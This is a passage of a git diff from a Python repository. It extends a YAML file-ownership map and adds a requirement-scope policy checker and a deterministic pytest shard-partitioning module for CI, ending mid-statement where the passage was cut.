contracts/schema-publication/entries/participant-control-evaluation-v1.json + - implementations/python/tests/test_api_424_composition_derivation.py + - docs/research/formal-semantic-validation/analysis-v37.json + - docs/research/formal-semantic-validation/bundles/retest-v37.json + - docs/research/formal-semantic-validation/execution-snapshot-v37.json + - docs/research/specification-coverage/analysis-v37.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v37.json + - docs/research/specification-coverage/execution-snapshot-v37.json + - implementations/python/packages/raes_contracts/contracts/_candidate_synthesis_facade.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + - docs/research/formal-semantic-validation/index.md + - docs/research/specification-coverage/index.md + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_specification_coverage.py + - tools/check_specification_coverage.py + - tools/check_json_artifacts.py + - tools/formal_semantic_validation/_baseline.py + - tools/formal_semantic_validation/_loading.py + - tools/formal_semantic_validation/_releases.py + - tools/formal_semantic_validation/_retest.py + - docs/research/formal-semantic-validation/analysis-v36.json + - docs/research/formal-semantic-validation/bundles/retest-v36.json + - docs/research/formal-semantic-validation/execution-snapshot-v36.json + - docs/research/specification-coverage/analysis-v36.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1072-v36.json + - docs/research/specification-coverage/execution-snapshot-v36.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/exhausted-replay.json + - implementations/python/packages/raes_contracts/contracts/participant_control_effect_composition.py + - implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py + - implementations/python/tests/test_api_424_review_regressions.py + - implementations/python/packages/raes_contracts/participant_flow_policy_profiles.py + - contracts/fixtures/backend-manifest/backend-manifest-v2/valid/stub.json + - contracts/fixtures/concept-authority/controlled-vocabularies-v1/valid/reference.json + # API-424 publishes closed contracts, not RUN-320 orchestration (#1072). + - contracts/concept-authority/controlled-vocabularies-v1.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/dishonest.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/stale.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/invalid/executable-selector.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/conflict.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/downgrade.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v1/valid/teaching-inject.json + - contracts/fixtures/participant-runtime/participant-control-selection-v1/invalid/executable-selector.json + - contracts/fixtures/participant-runtime/participant-control-selection-v1/valid/teaching-inject.json + - contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/invalid/teaching.json + - contracts/fixtures/participant-runtime/participant-control-teaching-profile-v1/valid/teaching.json + - contracts/profiles/participant-control/teaching-influence-rev1.json + - contracts/schema-publication/entries/backend-manifest-v2.json + - contracts/schema-publication/entries/backend-profile-v1.json + - contracts/schema-publication/entries/participant-control-evaluation-v1.json + - contracts/schema-publication/entries/participant-control-selection-v1.json + - contracts/schema-publication/entries/participant-control-teaching-profile-v1.json + - contracts/schemas/backend-manifest/backend-manifest-v2.json + - contracts/schemas/participant-runtime/participant-control-evaluation-v1.json + - contracts/schemas/participant-runtime/participant-control-selection-v1.json + - contracts/schemas/participant-runtime/participant-control-teaching-profile-v1.json + - contracts/schemas/profiles/backend-profile-v1.json + - docs/decisions/issue-1072-api-407-feature-support-preflight.md + - docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md + - docs/decisions/issue-1072-api-424-provider-contracts-preflight.md + - docs/explain/reference/modular-participant-control-contracts.md + - docs/governance/requirement-scopes/1072.json + - docs/public/participant-control.md + - docs/requirements/API-424/requirement.md + - implementations/python/packages/raes/observability_plane_semantics.py + - implementations/python/packages/raes_backend_protocols/participant_control_admission.py + - implementations/python/packages/raes_backend_protocols/protocols.py + - implementations/python/packages/raes_conformance/conformance/validators.py + - implementations/python/packages/raes_contracts/contracts/__init__.py + - implementations/python/packages/raes_contracts/contracts/_exports.py + - implementations/python/packages/raes_contracts/contracts/bundle_runtime.py + - implementations/python/packages/raes_contracts/contracts/participant_control_composition.py + - implementations/python/packages/raes_contracts/contracts/participant_control_coordinates.py + - implementations/python/packages/raes_contracts/contracts/participant_control_effects.py + - implementations/python/packages/raes_contracts/contracts/participant_control_profiles.py + - implementations/python/packages/raes_contracts/contracts/participant_control_resolution.py + - implementations/python/packages/raes_contracts/contracts/participant_control_results.py + - implementations/python/packages/raes_contracts/contracts/participant_control_selection.py + - implementations/python/packages/raes_contracts/json_ingress.py + - implementations/python/packages/raes_contracts/manifest_authority.py + - implementations/python/tests/participant_control_contract_fixtures.py + - implementations/python/tests/test_api_424_capability_admission.py + - implementations/python/tests/test_api_424_composition_boundaries.py + - implementations/python/tests/test_api_424_control_effects.py + - implementations/python/tests/test_api_424_control_resolution.py + - implementations/python/tests/test_api_424_governance.py + - implementations/python/tests/test_api_424_participant_control_contracts.py + - implementations/python/tests/test_api_424_publication.py + - implementations/python/tests/test_api_424_security_profile.py + - implementations/python/tests/test_corpus_packaging.py + - implementations/python/tests/test_json_ingress.py + # Issue #1365 publishes the applicability amendment as separately negotiated v2 contracts. + - contracts/fixtures/participant-runtime/participant-control-evaluation-v2/context-invalid/missing-obligation.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v2/invalid/unknown-field.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/dependency-chain.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json + - contracts/fixtures/participant-runtime/participant-control-evaluation-v2/valid/optional-failure.json + - contracts/fixtures/participant-runtime/participant-control-selection-v2/valid/disjoint-sinks.json + - contracts/schema-publication/entries/participant-control-evaluation-v2.json + - contracts/schema-publication/entries/participant-control-selection-v2.json + - contracts/schemas/participant-runtime/participant-control-evaluation-v2.json + - contracts/schemas/participant-runtime/participant-control-selection-v2.json + - docs/decisions/issue-1365-applicable-provider-contracts-preflight.md + - docs/governance/requirement-scopes/1365.json + - docs/research/formal-semantic-validation/analysis-v56.json + - docs/research/formal-semantic-validation/bundles/retest-v56.json + - docs/research/formal-semantic-validation/execution-snapshot-v56.json + - docs/research/formal-semantic-validation/analysis-v57.json + - docs/research/formal-semantic-validation/bundles/retest-v57.json + - docs/research/formal-semantic-validation/execution-snapshot-v57.json + - docs/research/formal-semantic-validation/analysis-v58.json + - docs/research/formal-semantic-validation/bundles/retest-v58.json + - docs/research/formal-semantic-validation/execution-snapshot-v58.json + # Retain the pre-revert source capture because the API-424 release chain + # references it as an immutable historical baseline. + - docs/research/formal-semantic-validation/analysis-v55.json + - docs/research/formal-semantic-validation/bundles/retest-v55.json + - docs/research/formal-semantic-validation/execution-snapshot-v55.json + - docs/research/formal-semantic-validation/analysis-v59.json + - docs/research/formal-semantic-validation/bundles/retest-v59.json + - docs/research/formal-semantic-validation/execution-snapshot-v59.json + - docs/research/specification-coverage/analysis-v56.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v56.json + - docs/research/specification-coverage/execution-snapshot-v56.json + - docs/research/specification-coverage/analysis-v57.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v57.json + - docs/research/specification-coverage/execution-snapshot-v57.json + - docs/research/specification-coverage/analysis-v58.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v58.json + - docs/research/specification-coverage/execution-snapshot-v58.json + - docs/research/specification-coverage/analysis-v55.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1361-v55.json + - docs/research/specification-coverage/execution-snapshot-v55.json + - docs/research/specification-coverage/analysis-v59.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1365-v59.json + - docs/research/specification-coverage/execution-snapshot-v59.json + - implementations/python/packages/raes_contracts/contracts/participant_control_applicability.py + - implementations/python/packages/raes_contracts/contracts/participant_control_composition_v2.py + - implementations/python/packages/raes_contracts/contracts/participant_control_decisions_v2.py + - implementations/python/packages/raes_contracts/contracts/participant_control_evaluation_v2.py + - implementations/python/packages/raes_contracts/contracts/participant_control_invocation.py + - implementations/python/packages/raes_contracts/contracts/participant_control_support_v2.py + - implementations/python/tests/test_issue_1365_applicable_contracts.py + - tools/formal_semantic_validation/_release_revisions.py + - tools/generate_contract_schemas.py + - tools/policy/requirement_order.yaml + mixed-participant-composition: + # SEM-234 publishes semantics and composes incumbent SCE-002 authority into + # portable contracts, not mixed-runtime implementation (#1013/#1014); the + # #1015 extends that authority through deterministic mixed/staged admission. + # The #1016 preflight is documented here; runtime delivery remains + # activation-gated. + - specs/formal/participant-semantics/cross-backend-participant-control.md + - specs/formal/runtime-contracts/participant-backend-contracts.md + - specs/formal/participant-semantics/README.md + - specs/formal/assurance-fulfillment.yaml + - docs/decisions/issue-1013-sem-234-mixed-participant-control-preflight.md + - docs/decisions/issue-1014-mixed-composition-contracts-preflight.md + - docs/decisions/issue-1015-mixed-staged-trial-admission-preflight.md + - docs/decisions/issue-1016-mixed-runtime-coordination-preflight.md + - docs/decisions/issue-1355-executable-mixed-mapping-time-preflight.md + - docs/decisions/adrs/adr-102-mixed-cross-backend-participant-control.md + - docs/decisions/adrs/adr-index.yaml + - docs/explain/reference/mixed-participant-composition.md + - docs/explain/reference/scenario-variation-and-trial-realization.md + - docs/governance/requirement-scopes/1014.json + - docs/governance/requirement-scopes/1016.json + - docs/governance/requirement-scopes/1355.json + - docs/research/formal-semantic-validation/bundles/retest-v31.json + - docs/research/formal-semantic-validation/execution-snapshot-v31.json + - docs/research/formal-semantic-validation/index.md + - docs/research/formal-semantic-validation/analysis-v32.json + - docs/research/formal-semantic-validation/bundles/retest-v32.json + - docs/research/formal-semantic-validation/execution-snapshot-v32.json + - docs/research/formal-semantic-validation/analysis-v53.json + - docs/research/formal-semantic-validation/bundles/retest-v53.json + - docs/research/formal-semantic-validation/execution-snapshot-v53.json + - docs/research/formal-semantic-validation/analysis-v54.json + - docs/research/formal-semantic-validation/bundles/retest-v54.json + - docs/research/formal-semantic-validation/execution-snapshot-v54.json + - docs/research/specification-coverage/analysis-v31.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1183-v31.json + - docs/research/specification-coverage/execution-snapshot-v31.json + - docs/research/specification-coverage/index.md + - docs/research/specification-coverage/analysis-v32.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1015-v32.json + - docs/research/specification-coverage/execution-snapshot-v32.json + - docs/research/formal-semantic-validation/analysis-v38.json + - docs/research/formal-semantic-validation/bundles/retest-v38.json + - docs/research/formal-semantic-validation/execution-snapshot-v38.json + - docs/research/specification-coverage/analysis-v38.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1016-v38.json + - docs/research/specification-coverage/execution-snapshot-v38.json + - docs/research/specification-coverage/analysis-v53.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1355-v53.json + - docs/research/specification-coverage/execution-snapshot-v53.json + - docs/research/specification-coverage/analysis-v54.json + - docs/research/specification-coverage/bundles/raes-standardized-specification-coverage-issue-1389-v54.json + - docs/research/specification-coverage/execution-snapshot-v54.json + - tools/check_json_artifacts.py + - tools/check_specification_coverage.py + - tools/formal_semantic_validation/_baseline.py + - tools/formal_semantic_validation/_loading.py + - tools/formal_semantic_validation/_releases.py + - tools/formal_semantic_validation/_retest.py + - docs/explain/sdl/lineage.md + - docs/public/participant-control.md + - docs/requirements/SEM-234/requirement.md + - docs/requirements/SEM-230/requirement.md + - docs/requirements/SCE-002/requirement.md + - docs/requirements/API-407/requirement.md + - docs/requirements/API-423/requirement.md + - docs/requirements/RUN-310/requirement.md + - docs/requirements/RUN-319/requirement.md + - implementations/python/tests/sem234_mixed_composition_model.py + - implementations/python/tests/test_sem_234_mixed_composition.py + - implementations/python/tests/test_sem_234_governance.py + - implementations/python/packages/raes_contracts/contracts/mixed_composition.py + - implementations/python/packages/raes_contracts/contracts/mixed_composition_validation.py + - implementations/python/packages/raes_contracts/contracts/mixed_composition_resolution.py + - implementations/python/packages/raes_contracts/contracts/mixed_runtime.py + - implementations/python/packages/raes_contracts/mixed_runtime_history.py + - implementations/python/packages/raes_contracts/_snapshot_updates.py + - implementations/python/packages/raes_contracts/operation_lifecycle.py + - implementations/python/packages/raes_contracts/runtime_state.py + - implementations/python/packages/raes_contracts/contracts/realization_plans.py + - implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py + - implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py + - implementations/python/packages/raes_contracts/contracts/trial_compilation.py + - implementations/python/packages/raes_contracts/json_ingress.py + - implementations/python/packages/raes_contracts/contracts/bundle.py + - implementations/python/packages/raes_contracts/contracts/__init__.py + - implementations/python/packages/raes_contracts/contracts/_exports.py + - implementations/python/packages/raes_contracts/contracts/_mixed_composition_exports.py + - implementations/python/packages/raes_contracts/versions.py + - implementations/python/packages/raes_conformance/conformance/validators.py + - implementations/python/tests/test_issue_1014_mixed_composition_contracts.py + - implementations/python/tests/test_issue_1014_mixed_composition_governance.py + - implementations/python/tests/test_issue_1015_mixed_staged_trial_admission.py + - implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py + - implementations/python/tests/test_specification_coverage.py + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_issue_1355_mixed_mapping_time.py + - implementations/python/packages/raes_runtime/__init__.py + - implementations/python/packages/raes_runtime/backend_snapshot_contracts.py + - implementations/python/packages/raes_runtime/control_plane.py + - implementations/python/packages/raes_runtime/control_plane_configuration.py + - implementations/python/packages/raes_runtime/control_plane_recovery.py + - implementations/python/packages/raes_runtime/control_plane_resolution_records.py + - implementations/python/packages/raes_runtime/control_plane_store_history.py + - implementations/python/packages/raes_runtime/control_plane_store_snapshots.py + - implementations/python/packages/raes_runtime/control_plane_store.py + - implementations/python/packages/raes_runtime/control_plane_store_local_records.py + - implementations/python/packages/raes_runtime/control_plane_store_memory.py + - implementations/python/packages/raes_runtime/mixed_runtime.py + - implementations/python/packages/raes_runtime/mixed_runtime_dispatch.py + - implementations/python/packages/raes_runtime/mixed_runtime_edge.py + - implementations/python/packages/raes_runtime/mixed_runtime_edge_execution.py + - implementations/python/packages/raes_runtime/mixed_runtime_handoff.py + - implementations/python/packages/raes_runtime/mixed_runtime_handoff_execution.py + - implementations/python/packages/raes_runtime/mixed_runtime_phase.py + - implementations/python/packages/raes_runtime/mixed_runtime_recovery.py + - implementations/python/packages/raes_runtime/mixed_runtime_result.py + - implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py + - implementations/python/packages/raes_runtime/mixed_runtime_state.py + - implementations/python/packages/raes_runtime/participant_action_validation.py + - implementations/python/packages/raes_runtime/participant_crossing_action.py + - implementations/python/packages/raes_runtime/participant_control.py + - implementations/python/packages/raes_runtime/participant_crossing_boundary.py + - implementations/python/packages/raes_runtime/participant_crossing_policy.py + - implementations/python/packages/raes_runtime/participant_episode_control.py + - implementations/python/packages/raes_runtime/participant_submission_options.py + - implementations/python/packages/raes_runtime/participant_result_contracts.py + - contracts/schemas/backend-manifest/backend-manifest-v2.json + - contracts/schemas/control-plane/operation-receipt-v1.json + - contracts/schemas/control-plane/operation-status-v1.json + - contracts/schemas/snapshots/runtime-snapshot-v1.json + - contracts/schema-publication/entries/backend-manifest-v2.json + - contracts/schema-publication/entries/operation-receipt-v1.json + - contracts/schema-publication/entries/operation-status-v1.json + - contracts/schema-publication/entries/runtime-snapshot-v1.json + - implementations/python/tests/test_participant_concurrent_batch_reservations.py + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_specification_coverage.py + - implementations/python/tests/test_issue_989_versioned_evidence.py + - contracts/schemas/plans/mixed-participant-composition-profile-v1.json + - contracts/schemas/plans/admitted-trial-plan-v1.json + - contracts/schema-publication/entries/mixed-participant-composition-profile-v1.json + - contracts/schema-publication/entries/admitted-trial-plan-v1.json + - contracts/fixtures/plans/trial-compiler-mixed-composition-v1/identity-vectors.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/alternative.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/simultaneous-mixed.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/valid/staged.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/alternative-fallback-pool.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/duplicate-apparatus-identity.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/open-metadata.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/simultaneous-single-form.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/staged-unadmitted-member.json + - contracts/fixtures/plans/mixed-participant-composition-profile-v1/invalid/unknown-revision.json + - tools/generate_contract_schemas.py + - implementations/python/packages/raes_processor/trial_compiler/__init__.py + - implementations/python/packages/raes_processor/trial_compiler/apparatus.py + - implementations/python/packages/raes_processor/trial_compiler/compiler.py + - implementations/python/packages/raes_processor/trial_compiler/inputs.py + - implementations/python/packages/raes_processor/trial_compiler/models.py + - implementations/python/packages/raes_processor/trial_compiler/profiles.py + - implementations/python/packages/raes_processor/trial_compiler/realization_admission.py + - implementations/python/packages/raes_processor/trial_realization.py + - tools/policy/historical_identity_records.json + - tools/policy/requirement_order.yaml + - tools/verify_all.py + # Supporting delivery-hook regression requested during #1013 review. + - implementations/python/tests/test_nox_shard_wiring.py + - implementations/python/tests/test_issue_1238_development_container.py + - docs/explain/development-container.md + mixed-participant-runtime: + - docs/requirements/RUN-310/requirement.md + - docs/requirements/RUN-319/requirement.md + - implementations/python/packages/raes_runtime/mixed_runtime_lifecycle.py + - implementations/python/packages/raes_runtime/mixed_runtime_phase.py + - implementations/python/packages/raes_runtime/participant_action_validation.py + - implementations/python/packages/raes_runtime/participant_control.py + - implementations/python/packages/raes_runtime/participant_crossing_boundary.py + - implementations/python/packages/raes_runtime/participant_crossing_policy.py + - implementations/python/packages/raes_runtime/participant_episode_control.py + - implementations/python/packages/raes_runtime/participant_submission_options.py + - implementations/python/tests/test_issue_1016_mixed_runtime_coordination.py semantics-expansion: + # Issue #1354 semantic publication; formal specs/tests already belong here. + - docs/decisions/adrs/adr-101-adversarial-participant-flow-control.md + - docs/requirements/SEM-233/requirement.md - contracts/schemas/sdl # Shared description semantics and existing evidence lifecycle owners (SEM-218). - contracts/schemas/experiment-core/experiment-evidence-record-v1.json @@ -370,16 +1091,22 @@ ownership: - contracts/concept-authority - contracts/fixtures - contracts/schemas + - contracts/schema-publication - contracts/schema-publication-manifest.json - docs/decisions - docs/explain/reference - docs/explain/sdl + - docs/requirements + - docs/migration + - docs/research/specification-coverage + - docs/research/formal-semantic-validation - specs/formal - specs/sdl - implementations/python/packages/raes - implementations/python/packages/raes_processor - implementations/python/packages/raes_contracts - implementations/python/packages/raes_backend_protocols + - implementations/python/packages/raes_conformance - implementations/python/packages/raes_runtime - implementations/python/tests - tools/policy/requirement_order.yaml @@ -477,18 +1204,40 @@ ownership: - implementations/python/tests experiment-core: - contracts/README.md + - contracts/profiles/semantic-comparison/reference-v2.json - contracts/schema-publication-manifest.json + - contracts/schema-publication/entries/experiment-authoring-input-v1.json + - contracts/schema-publication/entries/experiment-run-v1.json + - contracts/schema-publication/entries/experiment-study-v1.json + - contracts/schema-publication/entries/experiment-task-v1.json - contracts/schemas/README.md - contracts/schemas - contracts/fixtures/experiment-core - specs/formal/README.md - specs/formal/experiment-core + - specs/formal/observability-evidence-plane.md - docs/decisions/adrs + - docs/decisions/issue-341-exp-731-evidence-requirement-refinement-preflight.md + - docs/requirements/EXP-731/requirement.md + - docs/research/formal-semantic-validation - docs/research/experiment-core + - docs/research/specification-coverage - docs/index.md - docs/specs/formal.md - implementations/python/packages/raes_contracts + - implementations/python/packages/raes_processor/capture_admission.py + - implementations/python/packages/raes_processor/semantic_comparison_adapters.py + - implementations/python/packages/raes_processor/semantic_comparison_projections.py + - implementations/python/packages/raes_processor/trial_compiler/compiler.py + - implementations/python/packages/raes_processor/trial_realization.py + - implementations/python/tests/test_exp_731_archival_validation.py + - implementations/python/tests/test_exp_731_evidence_requirement_refinement.py + - implementations/python/tests/test_exp_731_trial_realization.py + - implementations/python/tests/test_formal_semantic_validation.py + - implementations/python/tests/test_issue_1210_semantic_comparison.py + - implementations/python/tests/test_issue_989_versioned_evidence.py - implementations/python/tests/test_runtime_contracts.py + - implementations/python/tests/test_specification_coverage.py - tools/generate_contract_schemas.py - CHANGELOG.md diff --git a/tools/policy/requirement_scope.py b/tools/policy/requirement_scope.py new file mode 100644 index 000000000..0ad78f63c --- /dev/null +++ b/tools/policy/requirement_scope.py @@ -0,0 +1,195 @@ +"""Closed issue-bound assignments over the incumbent requirement predicates.""" + +from __future__ import annotations + +import re +import subprocess +from collections.abc import Mapping +from dataclasses import dataclass +from pathlib import Path, PurePosixPath +from types import MappingProxyType + +from tools.policy.common import ( + PolicyFailure, + apply_exceptions, + load_bounded_json_object, + load_exceptions, +) +from tools.policy.requirement_governance import ( + RequirementClient, + evaluate_requirement_governance, +) +from tools.tooling_artifact_policy_common import is_regular_repo_file + +_UID = re.compile(r"[A-Z]{3}-\d{3,}") +_ISSUE_BRANCH = re.compile(r"([1-9]\d*)-[A-Za-z0-9][A-Za-z0-9._/-]*", flags=re.ASCII) +_FIELDS = frozenset( + { + "schema_version", + "issue_number", + "primary_requirement_uid", + "requirement_uids", + "bindings", + } +) +_MAX_SCOPE_BYTES = 256 * 1024 + + +class RequirementScopeError(ValueError): + """Scope authority is malformed or conflicts with the delivery context.""" + + +@dataclass(frozen=True) +class RequirementScope: + issue_number: int + primary_requirement_uid: str + requirement_uids: tuple[str, ...] + bindings: Mapping[str, tuple[str, ...]] + + +def _uids(value: object) -> tuple[str, ...]: + if ( + not isinstance(value, list) + or not 1 <= len(value) <= 64 + or any(not isinstance(uid, str) or _UID.fullmatch(uid) is None for uid in value) + or len(set(value)) != len(value) + ): + raise RequirementScopeError("Scope requires a nonempty unique list of canonical requirement UIDs.") + return tuple(value) + + +def _exact_path(value: object) -> bool: + if not isinstance(value, str) or not value or any(char in value for char in "\\:*?[]"): + return False + path = PurePosixPath(value) + return ( + bool(path.parts) + and not path.is_absolute() + and value == path.as_posix() + and all(part not in {".", "..", ".secrets"} for part in path.parts) + and all(ord(char) >= 32 and ord(char) != 127 for char in value) + ) + + +def parse_requirement_scope(document: object, *, issue_number: int) -> RequirementScope: + """Admit exact assignments, never glob/prefix matches or inferred owners.""" + if not isinstance(document, dict) or document.keys() != _FIELDS: + raise RequirementScopeError("Scope must contain exactly the supported fields.") + if ( + document["schema_version"] != "requirement-scope/v1" + or type(document["issue_number"]) is not int + or document["issue_number"] != issue_number + or issue_number < 1 + ): + raise RequirementScopeError("Scope version or issue identity does not match its canonical location.") + uids = _uids(document["requirement_uids"]) + primary = document["primary_requirement_uid"] + if primary not in uids: + raise RequirementScopeError("The primary requirement must be explicitly in scope.") + bindings = _parse_bindings(document["bindings"], uids) + return RequirementScope(issue_number, primary, uids, MappingProxyType(bindings)) + + +def _parse_bindings(raw_bindings: object, uids: tuple[str, ...]) -> dict[str, tuple[str, ...]]: + if not isinstance(raw_bindings, dict) or not raw_bindings: + raise RequirementScopeError("Scope requires exact file assignments.") + bindings = {} + for path, assigned in raw_bindings.items(): + if not _exact_path(path): + raise RequirementScopeError("Scope assignments must name canonical repository-relative files.") + owners = _uids(assigned) + if not set(owners) <= set(uids): + raise RequirementScopeError("A file assignment names a requirement outside the declared scope.") + bindings[path] = owners + return bindings + + +def load_requirement_scope(repo_root: Path, branch: str | None) -> RequirementScope | None: + """Select only the canonical manifest for the issue identified by the branch.""" + match = _ISSUE_BRANCH.fullmatch(branch or "") + if match is None: + return None + issue_number = int(match[1]) + relative = f"docs/governance/requirement-scopes/{issue_number}.json" + path = repo_root.resolve() / relative + try: + # A substituted or dangling authority component is not an absent scope. + if any(parent.is_symlink() for parent in (path, *path.parents) if parent != repo_root.resolve()): + raise RequirementScopeError("Scope authority must not use symlinks.") + if not path.exists(): + if _scope_previously_established(repo_root, relative): + raise RequirementScopeError("Previously established requirement scope authority is missing.") + return None + if not is_regular_repo_file(repo_root, relative): + raise RequirementScopeError("Scope authority must be a regular canonical repository file.") + document = load_bounded_json_object(repo_root, relative, max_bytes=_MAX_SCOPE_BYTES) + return parse_requirement_scope(document, issue_number=issue_number) + except (OSError, ValueError, RecursionError) as exc: + raise RequirementScopeError("Requirement scope cannot be read and validated.") from exc + + +def _scope_previously_established(repo_root: Path, relative: str) -> bool: + """Retain scope authority across index removals, renames and committed deletions.""" + if not (repo_root / ".git").exists(): + return False + try: + # All retained refs include the integration base even in detached PR checkouts. + # Full history also catches a deletion already committed on the issue branch. + history = subprocess.run( + [ + "git", + "log", + "--all", + "--full-history", + "-1", + "--format=%H", + "--", + relative, + ], + cwd=repo_root, + capture_output=True, + text=True, + check=True, + timeout=10, + ) + index = subprocess.run( + ["git", "ls-files", "--", relative], + cwd=repo_root, + capture_output=True, + text=True, + check=True, + timeout=10, + ) + except (OSError, subprocess.SubprocessError) as exc: + raise RequirementScopeError("Established scope authority cannot be determined.") from exc + return bool(history.stdout.strip() or index.stdout.strip()) + + +def evaluate_requirement_scope( + repo_root: Path, + changed: list[str], + *, + client: RequirementClient, + scope: RequirementScope, +) -> list[PolicyFailure]: + """AND each assigned owner's complete checks; never union partial successes.""" + failures = [ + PolicyFailure( + "requirement-scope-unassigned", + "Changed file has no explicit requirement assignment.", + path, + ) + for path in sorted(set(changed) - scope.bindings.keys()) + ] + exceptions = load_exceptions(repo_root) + for uid in scope.requirement_uids: + owned = sorted(path for path in set(changed) if uid in scope.bindings.get(path, ())) + # Even an owner with no files in this incremental diff must remain valid. + failures.extend( + apply_exceptions( + evaluate_requirement_governance(repo_root, owned, client=client, requirement_uid=uid), + exceptions, + requirement_uid=uid, + ) + ) + return failures diff --git a/tools/pytest_shard.py b/tools/pytest_shard.py new file mode 100644 index 000000000..19ab3f1fd --- /dev/null +++ b/tools/pytest_shard.py @@ -0,0 +1,219 @@ +"""Deterministic, versioned pytest node-id partitioning for CI shards. + +CI distributes the canonical default-marker test suite across concurrent shard +jobs. One code-owned partition function assigns each collected pytest node id to +exactly one shard by the SHA-256 of the node id, independent of collection +order, xdist scheduling, wall-clock, filesystem order, or GitHub matrix order. + +A reducer proves that the shard manifests produced by one full run are pairwise +disjoint and that their union is exactly a freshly collected canonical suite, so +coverage is combined only over a provably complete run. The partition applies +*after* the incumbent marker expression selects the suite; xdist may still +schedule work inside a single shard but is never the cross-job partitioner. + +This module is intentionally free of any ``pytest`` import so the reducer can use +it without a test-runner dependency; the pytest hooks live in +``tools.pytest_shard_plugin``. +""" + +from __future__ import annotations + +import hashlib +import json +import os +from collections.abc import Iterable, Sequence +from dataclasses import dataclass +from pathlib import Path + +# Bumping the algorithm changes ownership for every node id, so it is versioned +# and recorded in each manifest; the reducer refuses to combine mixed versions. +SHARD_ALGORITHM_VERSION = "sha256-nodeid-v1" + +MIN_SHARD_COUNT = 1 +MAX_SHARD_COUNT = 64 + + +class ShardConfigurationError(ValueError): + """Raised when ``shard_count`` / ``shard_index`` are outside admitted bounds.""" + + +class ShardManifestError(ValueError): + """Raised when shard manifests do not form a complete, disjoint partition.""" + + +def validate_shard_count(shard_count: object) -> int: + """Return ``shard_count`` when it is a bounded positive integer.""" + + if isinstance(shard_count, bool) or not isinstance(shard_count, int): + raise ShardConfigurationError(f"shard_count must be an integer, got {shard_count!r}") + if not MIN_SHARD_COUNT <= shard_count <= MAX_SHARD_COUNT: + raise ShardConfigurationError(f"shard_count {shard_count} is outside [{MIN_SHARD_COUNT}, {MAX_SHARD_COUNT}]") + return shard_count + + +def validate_shard_index(shard_index: object, shard_count: object) -> tuple[int, int]: + """Return ``(shard_index, shard_count)`` when both are consistent and bounded.""" + + count = validate_shard_count(shard_count) + if isinstance(shard_index, bool) or not isinstance(shard_index, int): + raise ShardConfigurationError(f"shard_index must be an integer, got {shard_index!r}") + if not 0 <= shard_index < count: + raise ShardConfigurationError(f"shard_index {shard_index} is outside [0, {count})") + return shard_index, count + + +def shard_for_nodeid(nodeid: str, shard_count: int) -> int: + """Map one pytest node id to its owning shard index.""" + + count = validate_shard_count(shard_count) + if not isinstance(nodeid, str) or not nodeid: + raise ShardConfigurationError("node id must be a non-empty string") + digest = hashlib.sha256(nodeid.encode("utf-8")).digest() + return int.from_bytes(digest, "big") % count + + +def owned_nodeids(nodeids: Iterable[str], shard_count: int, shard_index: int) -> list[str]: + """Return, in input order, the node ids owned by ``shard_index``.""" + + index, count = validate_shard_index(shard_index, shard_count) + return [nodeid for nodeid in nodeids if shard_for_nodeid(nodeid, count) == index] + + +@dataclass(frozen=True) +class ShardManifest: + """The exact ownership a single shard proved for one full-suite run.""" + + algorithm_version: str + source_sha: str + suite_expression: str + shard_count: int + shard_index: int + node_ids: tuple[str, ...] + + def to_dict(self) -> dict[str, object]: + return { + "algorithm_version": self.algorithm_version, + "source_sha": self.source_sha, + "suite_expression": self.suite_expression, + "shard_count": self.shard_count, + "shard_index": self.shard_index, + "node_ids": list(self.node_ids), + } + + @classmethod + def from_dict(cls, data: object) -> ShardManifest: + if not isinstance(data, dict): + raise ShardManifestError("shard manifest must be a JSON object") + try: + node_ids = data["node_ids"] + manifest = cls( + algorithm_version=str(data["algorithm_version"]), + source_sha=str(data["source_sha"]), + suite_expression=str(data["suite_expression"]), + shard_count=data["shard_count"], + shard_index=data["shard_index"], + node_ids=tuple(str(nodeid) for nodeid in node_ids), + ) + except (KeyError, TypeError) as exc: + raise ShardManifestError(f"shard manifest is missing required fields: {exc}") from exc + if not isinstance(manifest.shard_count, int) or isinstance(manifest.shard_count, bool): + raise 